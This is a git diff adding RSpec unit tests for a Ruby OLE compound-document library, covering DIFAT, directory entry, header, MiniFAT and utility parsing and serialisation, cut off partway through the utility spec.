+ context "when @entries is empty" do + it "returns 0" do + is_expected.to eq(0) + end + end + + context "when @entries isn't empty" do + it "returns the @entries length" do + difat[0] = 1 + difat[1] = 2 + is_expected.to eq(2) + end + end + end + + describe "#slice!" do + context "when @entries is empty" do + it "returns empty array" do + expect(difat.slice!(0, 1)).to eq([]) + end + end + + context "when start is out of range" do + it "returns nil" do + difat[0] = 1 + expect(difat.slice!(10, 1)).to eq(nil) + end + end + + context "when stop is 0" do + it "returns empty array" do + difat[0] = 1 + expect(difat.slice!(0, 0)).to eq([]) + end + + it "doesn't delete nothing" do + difat[0] = 1 + difat.slice!(0, 0) + expect(difat[0]).to eq(1) + end + end + + context "when @entries is long enough" do + it "returns the deleted elements" do + difat + [1, 2] + expect(difat.slice!(0, 1)).to eq([1]) + end + + it "deletes the elements in the range" do + difat + [1, 2] + difat.slice!(0, 1) + expect(difat.instance_variable_get(:@entries)).to eq([2]) + end + end + end + + describe "#reset" do + it "resets the @entries array" do + difat[0] = 1 + difat.reset + expect(difat.length).to eq(0) + end + end + + describe "#each" do + it "calls the block for every @entries element" do + difat + [1, 2, 3] + res = 0 + difat.each { |elem| res += elem} + expect(res).to eq(1 + 2 + 3) + end + end + + describe "#to_s" do + subject(:difat_string) do + difat.to_s + end + + it "returns an String" do + is_expected.to be_an(String) + end + + it "starts with {" do + is_expected.to start_with('{') + end + + it "ends with }" do + is_expected.to end_with('}') + end + + it "contains @entries values" do + difat + [Rex::OLE::SECT_FAT, 1, 2, 3, Rex::OLE::SECT_DIF, Rex::OLE::SECT_FREE, Rex::OLE::SECT_END] + is_expected.to match(/FAT, 0x1, 0x2, 0x3, DIF, FREE, END/) + end + end + + describe "#read" do + context "when difat is empty" do + it "returns nil" do + expect(difat.read).to be_nil + end + end + end + + describe "#write" do + context "when entries is empty" do + it "returns 0" do + expect(difat.write).to eq(0) + end + + it "fills the first 109 FAT sectors in the storage header" do + difat.write + storage = difat.instance_variable_get(:@stg) + expect(storage.header._sectFat.length).to eq(109) + end + + it "fills the first 109 FAT sectors in the storage header with SECT_FREE" do + difat.write + storage = difat.instance_variable_get(:@stg) + storage.header._sectFat.each { |s| + expect(s).to eq(Rex::OLE::SECT_FREE) + } + end + end + + context "when entries length is less than 109" do + let(:entries) { [1] * 20 } + + it "returns the number of entries" do + difat + entries + expect(difat.write).to eq(20) + end + + it "fills the first 109 FAT sectors in the storage header" do + difat + entries + difat.write + storage = difat.instance_variable_get(:@stg) + expect(storage.header._sectFat.length).to eq(109) + end + + it "fills the first FAT sectors with the entries" do + difat + entries + difat.write + storage = difat.instance_variable_get(:@stg) + (0..entries.length - 1).each { |i| + expect(storage.header._sectFat[i]).to eq(1) + } + end + + it "fills the remaining FAT sectors with FREE sectors" do + difat + entries + difat.write + storage = difat.instance_variable_get(:@stg) + (entries.length..109 - 1).each { |i| + expect(storage.header._sectFat[i]).to eq(Rex::OLE::SECT_FREE) + } + end + end + + context "when entries length is 109" do + let(:entries) { [1] * 109 } + + it "returns the number of entries" do + difat + entries + expect(difat.write).to eq(109) + end + + it "fills the first 109 FAT sectors in the storage header" do + difat + entries + difat.write + storage = difat.instance_variable_get(:@stg) + expect(storage.header._sectFat.length).to eq(109) + end + + it "fills the first 109 FAT sectors with the entries" do + difat + entries + difat.write + storage = difat.instance_variable_get(:@stg) + (0..storage.header._sectFat.length - 1).each { |i| + expect(storage.header._sectFat[i]).to eq(1) + } + end + end + + context "when entries length is greater than 109" do + let(:entries) { [1] * 110 } + + it "raises a RuntimeError" do + difat + entries + expect { difat.write }.to raise_error(RuntimeError) + end + end + + end +end diff --git a/spec/lib/rex/ole/direntry_spec.rb b/spec/lib/rex/ole/direntry_spec.rb new file mode 100644 index 0000000000..3b4cd58c44 --- /dev/null +++ b/spec/lib/rex/ole/direntry_spec.rb @@ -0,0 +1,401 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/ole' + +describe Rex::OLE::DirEntry do + before(:each) do + Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) + end + + let(:storage) do + Rex::OLE::Storage.new + end + + subject(:dir_entry) do + described_class.new(storage) + end + + describe ".new" do + it "returns a Rex::OLE::DirEntry instance" do + expect(described_class.new(storage)).to be_a(Rex::OLE::DirEntry) + end + + it { expect(dir_entry.instance_variable_get(:@stg)).to eq(storage) } + it { expect(dir_entry.sid).to eq(0) } + it { expect(dir_entry.instance_variable_get(:@_ab)).to eq('Root Entry') } + it { expect(dir_entry.instance_variable_get(:@_cb)).to be_nil } + it { expect(dir_entry.instance_variable_get(:@_mse)).to eq(Rex::OLE::STGTY_ROOT) } + it { expect(dir_entry.instance_variable_get(:@_bflags)).to eq(0) } + it { expect(dir_entry._sidLeftSib).to eq(Rex::OLE::SECT_FREE) } + it { expect(dir_entry._sidRightSib).to eq(Rex::OLE::SECT_FREE) } + it { expect(dir_entry._sidChild).to eq(Rex::OLE::SECT_FREE) } + it { expect(dir_entry.instance_variable_get(:@_clsId)).to be_a(Rex::OLE::CLSID) } + it { expect(dir_entry.instance_variable_get(:@_dwUserFlags)).to eq(0) } + it { expect(dir_entry.instance_variable_get(:@_ctime)).to eq("\x00" * 8) } + it { expect(dir_entry.instance_variable_get(:@_mtime)).to eq("\x00" * 8) } + it { expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_END) } + it { expect(dir_entry.instance_variable_get(:@_ulSize)).to eq(0) } + it { expect(dir_entry.instance_variable_get(:@children)).to be_an(Array) } + it { expect(dir_entry.instance_variable_get(:@children)).to be_empty } + end + + describe "#length" do + it "returns _ulSize" do + dir_entry.instance_variable_set(:@_ulSize, 28) + expect(dir_entry.length).to eq(28) + end + end + + describe "#<<" do + it "increments the children array" do + dir_entry << 1 + children = dir_entry.instance_variable_get(:@children) + expect(children.length).to eq(1) + end + + it "appends to the children array" do + dir_entry << 1 + children = dir_entry.instance_variable_get(:@children) + expect(children).to eq([1]) + end + end + + describe "#each" do + it "calls the block for every children element" do + dir_entry << 1 + dir_entry << 2 + dir_entry << 3 + res = 0 + dir_entry.each { |elem| res += elem} + expect(res).to eq(1 + 2 + 3) + end + end + + describe "#type" do + it "returns the _mse field" do + expect(dir_entry.type).to eq(Rex::OLE::STGTY_ROOT) + end + end + + describe "#type=" do + it "modifies the _mse field" do + dir_entry.type = 3838 + expect(dir_entry.instance_variable_get(:@_mse)).to eq(3838) + end + end + + describe "#name" do + it "returns the _ab field" do + expect(dir_entry.name).to eq('Root Entry') + end + end + + describe "#name=" do + it "modifies the _ab field" do + dir_entry.name = 'test' + expect(dir_entry.instance_variable_get(:@_ab)).to eq('test') + end + end + + describe "#start_sector" do + it "returns the _sectStart field" do + expect(dir_entry.start_sector).to eq(Rex::OLE::SECT_END) + end + end + + describe "#start_sector=" do + it "modifies the _sectStart field" do + dir_entry.start_sector = Rex::OLE::SECT_FREE + expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_FREE) + end + end + + describe "#find_stream_by_name_and_type" do + context "when any children matches the search criteria" do + it "returns nil" do + expect(dir_entry.find_stream_by_name_and_type('name', Rex::OLE::STGTY_ROOT)).to be_nil + end + end + + context "when one children matches the search criteria" do + let(:stream) { Rex::OLE::Stream.new(storage) } + let(:name) { 'name' } + let(:type) { Rex::OLE::STGTY_ROOT } + it "returns the matching stream" do + stream.name = name + stream.type = type + dir_entry << stream + expect(dir_entry.find_stream_by_name_and_type(name, type)).to eq(stream) + end + end + + context "when several children matches the search criteria" do + let(:stream) { Rex::OLE::Stream.new(storage) } + let(:stream_two) { Rex::OLE::Stream.new(storage) } + let(:name) { 'name' } + let(:type) { Rex::OLE::STGTY_ROOT } + let(:sid) { 2 } + it "returns the first matching stream" do + stream.name = name + stream.type = type + dir_entry << stream + + stream_two.name = name + stream_two.type = type + stream_two.sid = sid + dir_entry << stream_two + expect(dir_entry.find_stream_by_name_and_type(name, type)).to eq(stream) + end + end + end + + describe "#find_by_sid" do + let(:stream) { Rex::OLE::Stream.new(storage) } + let(:another_stream) { Rex::OLE::Stream.new(storage) } + + context "when self match the criteria" do + it "returns self" do + expect(dir_entry.find_by_sid(0, dir_entry)).to eq(dir_entry) + end + end + + context "when self and a children stream match the criteria" do + it "returns self" do + stream.sid = 0 + dir_entry << stream + expect(dir_entry.find_by_sid(0, dir_entry)).to eq(dir_entry) + end + end + + context "when only one children stream match the criteria" do + it "returns the child stream" do + stream.sid = 20 + dir_entry << stream + expect(dir_entry.find_by_sid(20, dir_entry)).to eq(stream) + end + end + + context "when several children stream match the criteria" do + it "returns the first child" do + stream.sid = 20 + stream.name = 'stream' + dir_entry << stream + another_stream.sid = 20 + another_stream.name = 'another' + dir_entry << another_stream + expect(dir_entry.find_by_sid(20, dir_entry)).to eq(stream) + end + end + end + + describe "#from_s" do + let(:valid_direntry) do + "\x52\x00\x6f\x00\x6f\x00\x74\x00\x20\x00\x45\x00\x6e\x00\x74\x00\x72\x00\x79\x00\x00\x00" + # name (_ab) + ("\x00" * 42) + # padding + "\x16\x00" + # _cb + "\x05" + # _mse + "\x00" + #_bflags + "\xff\xff\xff\xff" + # _sidLeftSib + "\xff\xff\xff\xff" + # _sidRightSib + "\xff\xff\xff\xff" + # _sidChild + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # clsid + "\x00\x00\x00\x00" + # _dwUserFlags + "\x00\x00\x00\x00\x00\x00\x00\x00" + # _ctime + "\x00\x00\x00\x00\x00\x00\x00\x00" + # _metime + "\xfe\xff\xff\xff" + # _sectStart + "\x00\x00\x00\x00\x00\x00\x00\x00" # _ulSize + end + + let(:invalid_name_length)do + "\x52\x00\x6f\x00\x6f\x00\x74\x00\x20\x00\x45\x00\x6e\x00\x74\x00\x72\x00\x79\x00\x00\x00" + # name (_ab) + ("\x00" * 42) + # padding + "\x41\x00" + # _cb (invalid, major than 0x40) + "\x05" + # _mse + "\x00" + #_bflags + "\xff\xff\xff\xff" + # _sidLeftSib + "\xff\xff\xff\xff" + # _sidRightSib + "\xff\xff\xff\xff" + # _sidChild + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # clsid + "\x00\x00\x00\x00" + # _dwUserFlags + "\x00\x00\x00\x00\x00\x00\x00\x00" + # _ctime + "\x00\x00\x00\x00\x00\x00\x00\x00" + # _metime + "\xfe\xff\xff\xff" + # _sectStart + "\x00\x00\x00\x00\x00\x00\x00\x00" # _ulSize + end + + let(:mismatch_length) do + "\x52\x00\x6f\x00\x6f\x00\x74\x00\x20\x00\x45\x00\x6e\x00\x74\x00\x72\x00\x79\x00\x00\x00" + # name (_ab) + ("\x00" * 42) + # padding + "\x13\x00" + # _cb (invalid length, shorter than real name length) + "\x05" + # _mse + "\x00" + #_bflags + "\xff\xff\xff\xff" + # _sidLeftSib + "\xff\xff\xff\xff" + # _sidRightSib + "\xff\xff\xff\xff" + # _sidChild + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # clsid + "\x00\x00\x00\x00" + # _dwUserFlags + "\x00\x00\x00\x00\x00\x00\x00\x00" + # _ctime + "\x00\x00\x00\x00\x00\x00\x00\x00" + # _metime + "\xfe\xff\xff\xff" + # _sectStart + "\x00\x00\x00\x00\x00\x00\x00\x00" # _ulSize + end + + let(:sid) { 0 } + + context "when name length major than 64" do + it "raises RuntimeError" do + expect { dir_entry.from_s(sid, invalid_name_length) }.to raise_error(RuntimeError) + end + end + + context "when name length doesn't match real length" do + it "raises RuntimeError" do + expect { dir_entry.from_s(sid, mismatch_length) }.to raise_error(RuntimeError) + end + end + + context "when valid buf" do + it "uses argument sid" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry.sid).to eq(sid) + end + + it "parses _ab from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry.instance_variable_get(:@_ab)).to eq('Root Entry') + end + + it "parses _cb from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry.instance_variable_get(:@_cb)).to eq(22) + end + + it "parses _mse from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry.instance_variable_get(:@_mse)).to eq(Rex::OLE::STGTY_ROOT) + end + + it "parses _bflags from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry.instance_variable_get(:@_bflags)).to eq(0) + end + + it "parses _sidLeftSib from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry._sidLeftSib).to eq(Rex::OLE::SECT_FREE) + end + + it "parses _sidRightSib from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry._sidRightSib).to eq(Rex::OLE::SECT_FREE) + end + + it "parses _sidChild from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry._sidChild).to eq(Rex::OLE::SECT_FREE) + end + + it "parses _clsId from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry.instance_variable_get(:@_clsId)).to be_a(Rex::OLE::CLSID) + end + + it "parses _dwUserFlags from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry.instance_variable_get(:@_dwUserFlags)).to eq(0) + end + + it "parses _ctime from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry.instance_variable_get(:@_ctime)).to eq("\x00" * 8) + end + + it "parses _mtime from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry.instance_variable_get(:@_mtime)).to eq("\x00" * 8) + end + + it "parses _sectStart from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_END) + end + + it "parses _ulSize from buf" do + dir_entry.from_s(sid, valid_direntry) + expect(dir_entry.instance_variable_get(:@_ulSize)).to eq(0) + end + end + end + + describe "#pack" do + it "returns an string" do + expect(dir_entry.pack).to be_an(String) + end + + it "includes the unicode dir entry name" do + expect(dir_entry.pack).to match(/R\x00o\x00o\x00t\x00 \x00E\x00n\x00t\x00r\x00y\x00/) + end + + context "when _sectStart is undefined" do + it "sets _sectStart to SECT_END" do + dir_entry.instance_variable_set(:@_sectStart, nil) + dir_entry.pack + expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_END) + end + end + + context "when _sectStart is defined" do + it "doesn't modify _sectStart value" do + dir_entry.instance_variable_set(:@_sectStart, Rex::OLE::SECT_FREE) + dir_entry.pack + expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_FREE) + end + end + + it "sets _cb as the unicode length of the name" do + dir_entry.pack + expect(dir_entry.instance_variable_get(:@_cb)).to eq("Root Entry\x00".length * 2) + end + end + + describe "#to_s" do + it "returns an string" do + expect(dir_entry.to_s).to be_an(String) + end + + it "starts with {" do + expect(dir_entry.to_s).to start_with('{') + end + + it "ends with }" do + expect(dir_entry.to_s).to end_with('}') + end + + it "contains the entry name" do + expect(dir_entry.to_s).to match(/Root Entry/) + end + + context "when _sectStart is undefined" do + it "sets _sectStart to SECT_END" do + dir_entry.instance_variable_set(:@_sectStart, nil) + dir_entry.to_s + expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_END) + end + end + + context "when _sectStart is defined" do + it "doesn't modify _sectStart value" do + dir_entry.instance_variable_set(:@_sectStart, Rex::OLE::SECT_FREE) + dir_entry.to_s + expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_FREE) + end + end + + it "sets _cb as the unicode length of the name" do + dir_entry.to_s + expect(dir_entry.instance_variable_get(:@_cb)).to eq("Root Entry\x00".length * 2) + end + end + +end diff --git a/spec/lib/rex/ole/header_spec.rb b/spec/lib/rex/ole/header_spec.rb new file mode 100644 index 0000000000..1a4a062a49 --- /dev/null +++ b/spec/lib/rex/ole/header_spec.rb @@ -0,0 +1,355 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/ole' + +describe Rex::OLE::Header do + before(:each) do + Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) + end + + subject(:header) do + described_class.new + end + + describe ".new" do + it "returns a Rex::OLE::Header instance" do + expect(described_class.new).to be_a(Rex::OLE::Header) + end + + it { expect(header.instance_variable_get(:@_abSig)).to eq(Rex::OLE::SIG) } + it { expect(header.instance_variable_get(:@_clid)).to be_a(Rex::OLE::CLSID) } + it { expect(header.instance_variable_get(:@_uByteOrder)).to eq(Rex::OLE::LITTLE_ENDIAN) } + it { expect(header.instance_variable_get(:@_uMinorVersion)).to eq(0x3e) } + it { expect(header._uMajorVersion).to eq(0x03) } + it { expect(header.instance_variable_get(:@_uSectorShift)).to eq(9) } + it { expect(header._uMiniSectorShift).to eq(6) } + it { expect(header.instance_variable_get(:@_csectDir)).to be_nil } + it { expect(header._csectFat).to be_nil } + it { expect(header._sectDirStart).to be_nil } + it { expect(header.instance_variable_get(:@_signature)).to eq(0) } + it { expect(header._ulMiniSectorCutoff).to eq(0x1000) } + it { expect(header._sectMiniFatStart).to eq(Rex::OLE::SECT_END) } + it { expect(header._csectMiniFat).to eq(0) } + it { expect(header._sectDifStart).to eq(Rex::OLE::SECT_END) } + it { expect(header._csectDif).to eq(0) } + it { expect(header._sectFat).to be_an(Array) } + it { expect(header.instance_variable_get(:@_sectFat)).to be_empty } + it { expect(header.sector_size).to eq(1 << 9) } + it { expect(header.mini_sector_size).to eq(1 << 6) } + it { expect(header.idx_per_sect).to eq((1 << 9) / 4) } + end + + describe "#set_defaults" do + it "sets OLECF signature" do + header.set_defaults + expect(header.instance_variable_get(:@_abSig)).to eq(Rex::OLE::SIG) + end + + it "setup a class identifier (guid)" do + header.set_defaults + expect(header.instance_variable_get(:@_clid)).to be_a(Rex::OLE::CLSID) + end + + it "sets byte order identifier as little endian" do + header.set_defaults + expect(header.instance_variable_get(:@_uByteOrder)).to eq(Rex::OLE::LITTLE_ENDIAN) + end + + it "sets the minor version to 0x3e" do + header.set_defaults + expect(header.instance_variable_get(:@_uMinorVersion)).to eq(0x3e) + end + + it "sets the major version to 0x3" do + header.set_defaults + expect(header._uMajorVersion).to eq(0x03) + end + + it "sets the size of sectors to 9" do + header.set_defaults + expect(header.instance_variable_get(:@_uSectorShift)).to eq(9) + end + + it "sets the size of mini-sectors to 6" do + header.set_defaults + expect(header._uMiniSectorShift).to eq(6) + end + + it "sets the number of sectors in the directory chain to nil" do + header.set_defaults + expect(header.instance_variable_get(:@_csectDir)).to be_nil + end + + it "sets the number of sectors in the FAT chain to nil" do + header.set_defaults + expect(header._csectFat).to be_nil + end + + it "sets first sector in the directory chain to nil" do + header.set_defaults + expect(header._sectDirStart).to be_nil + end + + it "sets the signature used for transactioning to zero" do + header.set_defaults + expect(header.instance_variable_get(:@_signature)).to eq(0) + end + + it "sets the maximum size of mini-streams to 4096" do + header.set_defaults + expect(header._ulMiniSectorCutoff).to eq(0x1000) + end + + it "sets the first sector in the mini-FAT chain to end of chain" do + header.set_defaults + expect(header._sectMiniFatStart).to eq(Rex::OLE::SECT_END) + end + + it "sets the number of sectors in the mini-FAT chain to 0" do + header.set_defaults + expect(header._csectMiniFat).to eq(0) + end + + it "sets the first sector in the DIF chain to end of chain" do + header.set_defaults + expect(header._sectDifStart).to eq(Rex::OLE::SECT_END) + end + + it "sets the number of sectors in the DIF chain to 0" do + header.set_defaults + expect(header._csectDif).to eq(0) + end + + it "creates an array for the sectors of the first 109 FAT sectors" do + header.set_defaults + expect(header._sectFat).to be_an(Array) + end + + it "creates an empty array for the FAT sectors" do + header.set_defaults + expect(header.instance_variable_get(:@_sectFat)).to be_empty + end + end + + describe "#to_s" do + subject(:header_string) { header.to_s } + + it "returns an String" do + expect(header_string).to be_an(String) + end + + it "starts with {" do + expect(header_string).to start_with('{') + end + + it "ends with {" do + expect(header_string).to end_with('}') + end + + it "includes the OLECF signature" do + expect(header_string).to match(/_abSig => "\\xd0\\xcf\\x11\\xe0\\xa1\\xb1\\x1a\\xe1"/) + end + + it "includes the class identifier value" do + expect(header_string).to match(/_clid => 00000000-0000-0000-0000-000000000000/) + end + + it "includes the minor version value" do + expect(header_string).to match(/_uMinorVersion => 0x003e/) + end + + it "includes the major version value" do + expect(header_string).to match(/_uMajorVersion => 0x0003/) + end + + it "includes the byte order identifier value" do + expect(header_string).to match(/_uByteOrder => 0xfffe/) + end + + it "includes the size of sectors value" do + expect(header_string).to match(/_uSectorShift => 0x0009/) + end + + it "includes the size of mini-sectors value" do + expect(header_string).to match(/_uMiniSectorShift => 0x0006/) + end + + it "includes the number of sectors in the directory chain" do + expect(header_string).to match(/_csectDir => UNALLOCATED/) + end + + it "includes the number of sectors in the FAT chain" do + expect(header_string).to match(/_csectFat => UNALLOCATED/) + end + + it "includes the first sector in the directory chain" do + expect(header_string).to match(/_sectDirStart => UNALLOCATED/) + end + + it "includes the signature used for transactioning" do + expect(header_string).to match(/_signature => 0x00000000/) + end + + it "includes the maximum size of mini-streams" do + expect(header_string).to match(/_uMiniSectorCutoff => 0x00001000/) + end + + it "includes the first sector in the mini-FAT chain value" do + expect(header_string).to match(/_sectMiniFatStart => 0xfffffffe/) + end + + it "includes the number of sectors in the mini-FAT chain" do + expect(header_string).to match(/_csectMiniFat => 0x00000000/) + end + + it "includes the first sector in the DIF chain value" do + expect(header_string).to match(/_sectDifStart => 0xfffffffe/) + end + + it "includes the number of sectors in the DIF chain" do + expect(header_string).to match(/_csectDif => 0x00000000/) + end + end + + describe "#read" do + context "when reading empty header" do + let(:empty_fd) do + s = '' + StringIO.new(s, 'rb') + end + + it "raises NoMethodError" do + expect { header.read(empty_fd) }.to raise_error(NoMethodError) + end + end + + + context "when reading header with invalid signature" do + let(:incorrect_fd) do + s = 'A' * Rex::OLE::HDR_SZ + StringIO.new(s, 'rb') + end + + it "raises RuntimeError" do + expect { header.read(incorrect_fd) }.to raise_error(RuntimeError) + end + end + + context "when reading header with valid signature" do + let(:correct_fd) do + hdr = "" + hdr << Rex::OLE::SIG + hdr << 'A' * 16 # @_clid + hdr << 'BB' # @_uMinorVersion + hdr << 'CC' # @_uMajorVersion + hdr << "\xfe\xff" # @_uByteOrder + hdr << 'EE' # @_uSectorShift + hdr << 'FF' # @_uMiniSectorShift + hdr << '123456' # padding + hdr << 'GGGG' # @_csectDir + hdr << 'HHHH' # @_csectFat + hdr << 'IIII' # @_sectDirStart + hdr << 'JJJJ' # @_signature + hdr << 'KKKK' # @_ulMiniSectorCutoff + hdr << 'LLLL' # @_sectMiniFatStart + hdr << 'MMMM' # @_csectMiniFat + hdr << 'NNNN' # @_sectDifStart + hdr << 'OOOO' # @_csectDif + hdr << 'P' * 109 * 4 # @_sectFat + + StringIO.new(hdr, 'rb') + end + + it "sets clsid from input" do + header.read(correct_fd) + expect(header.instance_variable_get(:@_clid).to_s).to eq("41414141-4141-4141-4141-414141414141") + end + + it "sets minor version from input" do + header.read(correct_fd) + expect(header.instance_variable_get(:@_uMinorVersion)).to eq(0x4242) + end + + it "sets major version from input" do + header.read(correct_fd) + expect(header._uMajorVersion).to eq(0x4343) + end + + it "sets byte order from input" do + header.read(correct_fd) + expect(header.instance_variable_get(:@_uByteOrder)).to eq(Rex::OLE::LITTLE_ENDIAN) + end + + it "sets the size of sectors from input" do + header.read(correct_fd) + expect(header.instance_variable_get(:@_uSectorShift)).to eq(0x4545) + end + + it "sets the size of mini-sectors from input" do + header.read(correct_fd) + expect(header._uMiniSectorShift).to eq(0x4646) + end + + it "sets the number of sectors in the directory chain from input" do + header.read(correct_fd) + expect(header.instance_variable_get(:@_csectDir)).to eq(0x47474747) + end + + it "sets the number of sectors in the FAT chain from input" do + header.read(correct_fd) + expect(header._csectFat).to eq(0x48484848) + end + + it "sets the first sector in the directory chain from input" do + header.read(correct_fd) + expect(header._sectDirStart).to eq(0x49494949) + end + + it "sets the signature used for transactioning from input" do + header.read(correct_fd) + expect(header.instance_variable_get(:@_signature)).to eq(0x4a4a4a4a) + end + + it "sets the maximum size of mini-streams from input" do + header.read(correct_fd) + expect(header._ulMiniSectorCutoff).to eq(0x4b4b4b4b) + end + + it "sets the first sector in the mini-FAT chain from input" do + header.read(correct_fd) + expect(header._sectMiniFatStart).to eq(0x4c4c4c4c) + end + + it "sets the number of sectors in the mini-FAT chain from input" do + header.read(correct_fd) + expect(header._csectMiniFat).to eq(0x4d4d4d4d) + end + + it "sets the first sector in the DIF chain from input" do + header.read(correct_fd) + expect(header._sectDifStart).to eq(0x4e4e4e4e) + end + + it "sets the number of sectors in the DIF chain from input" do + header.read(correct_fd) + expect(header._csectDif).to eq(0x4f4f4f4f) + end + + it "creates an array for the FAT sectors from input" do + header.read(correct_fd) + expect(header._sectFat.length).to eq(109) + end + end + end + + describe "#write" do + context "when default header" do + it "writes 76 bytes" do + fd = StringIO.new('', 'wb') + header.write(fd) + expect(fd.string.length).to eq(76) + end + end + end +end diff --git a/spec/lib/rex/ole/minifat_spec.rb b/spec/lib/rex/ole/minifat_spec.rb new file mode 100644 index 0000000000..2896073271 --- /dev/null +++ b/spec/lib/rex/ole/minifat_spec.rb @@ -0,0 +1,98 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/ole' + +describe Rex::OLE::MiniFAT do + before(:each) do + Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) + end + + let(:storage) do + Rex::OLE::Storage.new + end + + subject(:minifat) do + described_class.new(storage) + end + + describe "#allocate_sector" do + context "when entries is empty" do + it "returns index 0" do + expect(minifat.allocate_sector).to eq(0) + end + + it "allocates idx_per_sect entries" do + minifat.allocate_sector + storage = minifat.instance_variable_get(:@stg) + expect(minifat.length).to eq(storage.header.idx_per_sect) + end + + it "marks the first entry as SECT_END" do + minifat.allocate_sector + expect(minifat[0]).to eq(Rex::OLE::SECT_END) + end + + it "marks the remaining entries as SECT_FREE" do + minifat.allocate_sector + storage = minifat.instance_variable_get(:@stg) + (1..storage.header.idx_per_sect - 1).each do |i| + expect(minifat[i]).to eq(Rex::OLE::SECT_FREE) + end + end + end + + context "when entries include a free sector" do + it "returns the free sector index entry" do + minifat + [1, 2, Rex::OLE::SECT_FREE] + expect(minifat.allocate_sector).to eq(2) + end + end + + context "when entries don't include a free sector" do + it "returns index of a new entry" do + minifat + [1, 2, 3] + expect(minifat.allocate_sector).to eq(3) + end + + it "allocates idx_per_sect entries" do + minifat + [1, 2, 3] + minifat.allocate_sector + storage = minifat.instance_variable_get(:@stg) + expect(minifat.length).to eq(storage.header.idx_per_sect + 3) + end + + it "marks the first entry as SECT_END" do + minifat + [1, 2, 3] + minifat.allocate_sector + expect(minifat[3]).to eq(Rex::OLE::SECT_END) + end + + it "marks the remaining entries as SECT_FREE" do + minifat + [1, 2, 3] + minifat.allocate_sector + storage = minifat.instance_variable_get(:@stg) + (4..3 + storage.header.idx_per_sect - 1).each do |i| + expect(minifat[i]).to eq(Rex::OLE::SECT_FREE) + end + end + end + end + + describe "#read" do + context "when the MiniFAT in the storage is empty" do + it "returns zero" do + expect(minifat.read).to eq(0) + end + end + end + + describe "#write" do + context "when entries is empty" do + it "returns nil" do + expect(minifat.write).to be_nil + end + end + end + +end diff --git a/spec/lib/rex/ole/util_spec.rb b/spec/lib/rex/ole/util_spec.rb new file mode 100644 index 0000000000..f9668a97cb --- /dev/null +++ b/spec/lib/rex/ole/util_spec.rb @@ -0,0 +1,409 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/ole' + +describe Rex::OLE::Util do + before(:each) do + Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) + end + + describe ".Hexify32array" do + subject(:hex_array) { described_class.Hexify32array(arr) } + + context "when arr is empty" do + let(:arr) { [] } + it "returns empty string" do + is_expected.to be_empty + end + end + + context "when arr is filled" do + let(:arr) { [0, 1, 0x20, 0x40, 0x100, 0x200, 0x12345678] } + + it "returns an string with the hexify array" do + is_expected.to eq('0x00000000 0x00000001 0x00000020 0x00000040 0x00000100 0x00000200 0x12345678') + end + end + end + + describe ".Printable" do + subject(:printable_buf) { described_class.Printable(buf) } + + context "when buf is empty" do + let(:buf) { '' } + it "returns empty string" do + is_expected.to be_empty + end + end + + context "when buf only contains printable chars" do + let(:buf) { 'abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()' } + + it "returns the same string" do + is_expected.to eq(buf) + end + end + + context "when buf contains no printable chars" do + let(:buf) { "abcde\x88" } + + it "returns hex representation for non printable chars" do + is_expected.to eq('abcde\\x88') + end + end + end + + describe ".set_endian" do + subject(:set_endian) { described_class.set_endian(endian) } + let(:endian) { Rex::OLE::LITTLE_ENDIAN } + + it "sets the endian field" do + set_endian + expect(described_class.instance_variable_get(:@endian)).to eq(0xfffe) + end + + it "returns the set endianness" do + is_expected.to eq(0xfffe) + end + end + + describe ".get64" do + subject(:quad_word) { described_class.get64(buf, offset) } + + context "when buf is empty" do + let(:buf) { '' } + let(:offset) { 0 } + + it "raises a null dereference exception" do + expect { quad_word }.to raise_error(NoMethodError) + end + end + + context "when buf is shorter than offset" do + let(:buf) { "\x12\x34\x56\x78\x12\x34\x56\x78" } + let(:offset) { 8 } + + it "raises a null dereference exceptioon" do + expect { quad_word }.to raise_error(NoMethodError) + end + end + + context "when @endian is little endian" do + let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } + let(:offset) { 1 } + + it "returns the little endian quad word at offset" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq(0x8877665544332211) + end + end + + context "when @endian is big endian" do + let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } + let(:offset) { 1 } + + it "returns the big endian quad word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq(0x1122334455667788) + end + end + end + + describe ".pack64" do + 